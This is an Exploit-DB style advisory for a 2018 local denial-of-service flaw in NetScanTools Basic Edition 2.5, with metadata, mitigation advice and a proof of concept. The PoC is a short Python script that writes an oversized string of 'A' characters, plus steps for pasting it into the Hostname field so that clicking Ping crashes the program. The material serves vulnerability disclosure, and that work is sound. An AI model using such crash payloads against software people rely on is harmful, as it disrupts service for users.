NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)

vendor:

NetScanTools Basic Edition

by:

Luis Martínez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

400

CWE

Product Name: NetScanTools Basic Edition

Affected Version From: 2.5

Affected Version To: 2.5

Patch Exists: YES

Related CWE: N/A

CPE: a:netscantools:netscantools_basic_edition:2.5

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2018

NetScanTools Basic Edition 2.5 – ‘Hostname’ Denial of Service (PoC)

NetScanTools Basic Edition 2.5 is vulnerable to a denial of service attack when a maliciously crafted string is sent as the 'Hostname' parameter. This causes the application to crash when the 'Ping' button is clicked.

Mitigation:

Upgrade to the latest version of NetScanTools Basic Edition 2.5

Source

Exploit-DB raw data:

# Exploit Title: NetScanTools Basic Edition 2.5 - 'Hostname' Denial of Service (PoC)
# Discovery by: Luis Martínez
# Discovery Date: 2018-07-26
# Vendor Homepage: https://www.netscantools.com/
# Software Link : http://download.netscantools.com/nstb250.zip
# Tested Version: 2.5
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python NetScanTools_Basic_Edition_2.5.py
# 2.- Open NetScanTools_Basic_Edition_2.5.txt and copy content to clipboard
# 3.- Open NstBasic.exe
# 4.- Ping and Traceroute Tools
# 5.- Ping
# 6.- Paste ClipBoard on Target Hostname or IPv4 Address
# 7.- Do Ping
# 8.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 1125
f = open ("NetScanTools_Basic_Edition_2.5.txt", "w")
f.write(buffer)
f.close()